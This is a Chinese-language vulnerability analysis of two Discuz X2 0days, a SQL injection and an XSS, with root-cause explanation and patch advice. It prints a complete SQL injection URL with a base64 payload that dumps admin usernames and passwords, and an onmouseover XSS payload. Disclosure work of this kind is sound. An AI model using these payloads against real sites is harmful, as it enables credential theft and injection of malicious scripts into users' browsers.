近日,Discuz X2 被爆出了兩個 0day,一個是 SQL 注入漏洞,攻擊者可利用該漏洞獲取到用户名與密碼,另一個是 XSS 注入漏洞,攻擊者可實
現網站掛馬、網站釣魚等行為,目前官方已針對此問題發佈了 0629 版,以下內容是 Nevel 安全團隊的 IMIYOO 針對 disucz
X2 此次 0day 所做的漏洞分析報告。

SQL 注入問題描述:

SQL 是一種數據庫攻擊方式,攻擊者利用畸形的客户端輸入,如果過濾不夠,程序就會執行過多的數據庫命令,從而會引發數據泄漏,服務器被入侵等一系列問題;危害等級高。

分析報告:

問題的具體原因發生在 source/module/forum/forum_attachment.php,代碼如下圖:

其中 $_G[『gp_aid』] 是由用户提交的變量 aid 所產生,而程序是將 aid 經過 base64_decode 後再傳入 SQL 查詢,在傳入給
SQL 查詢之前也沒有作任何判斷;但這正好給攻擊者提供 base64 加密繞過 Discuz 自身的 SQL 攻擊檢測程序,從而產生 SQL 注入漏洞。

構造 Sql_Exploit:

mod=attachment //包含漏洞文件
findpost=imiyoo //保證 $_G[『gp_findpost』] 不為空,使程序進入惡意 SQL 查詢流程
aid=base64_encode(「1'
and 1=2 union all select 1,concat(username,0x7C,password) from
pre_common_member where username like 'admin|Nevel|Nevel|Nevel|Nevel」)
//

構造 SQL 利用語句爆出用户名和密碼,其中後面有 4 個』|』 用來產生 5 個變量

從而完整的攻擊語句如下:

http://target/forum.php?mod=attachment&findpost=imiyoo&aid=
MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs

攻擊效果如下圖:

XSS 問題描述:

XSS 是一種客户端攻擊方式,攻擊者可以可以向 Web 頁面裏插入惡意 html 代碼,當用户瀏覽該頁之時,嵌入其中 Web 裏面的 html 代碼會被執
行,從而可以達到惡意攻擊用户的特殊目的。利用該 XSS 漏洞,攻擊者可以實現 1 網站掛馬 2 網站釣魚 3 CSRF 攻擊;危害等級中。

分析報告:

具體原因發生在 source/function/function_discuzcode.php 中的,在 discuzcode 函數中,我們可以看
到,程序員直接將用户輸入的 [emai][/email] 信息利用 preg_replace 函數進行替換,但在該函數中存在一個問題,當用户提交的變量中
含有雙引號等特殊字符的時候,函數會將它們轉義後再進行輸出,而程序作者沒有對其進行過濾,就傳給了 parseemail 函數;

在 parseemail 函數,如下:

其中 $text 變量也是沒有進行過濾,就直接輸出到客户端,從而造成了 XSS 漏洞。

構造 Xss_Exploit 如下:

[email][url]」http://www.imiyoo.com  onmouseover=alert(/Discuz-XSS-Exploit/); 「[/url][/email]

漏洞的修補:

當我們輸入上面的惡意數據,經過 preg_replace 函數轉換後,會將雙引號表示字符串的實際意義進行轉義,而將其作為字符串的一部分進行輸出,從而造成 XSS 攻擊,如下圖:

因此我們需要將 preg_replace 轉換後的變量進行轉化,將轉義字符』』 進行過濾。

安全建議:手動安裝官方最新的版本 http://www.discuz.net/thread-2168918-1-1.html

來源:Nevel 安全小組 作者:IMIYOO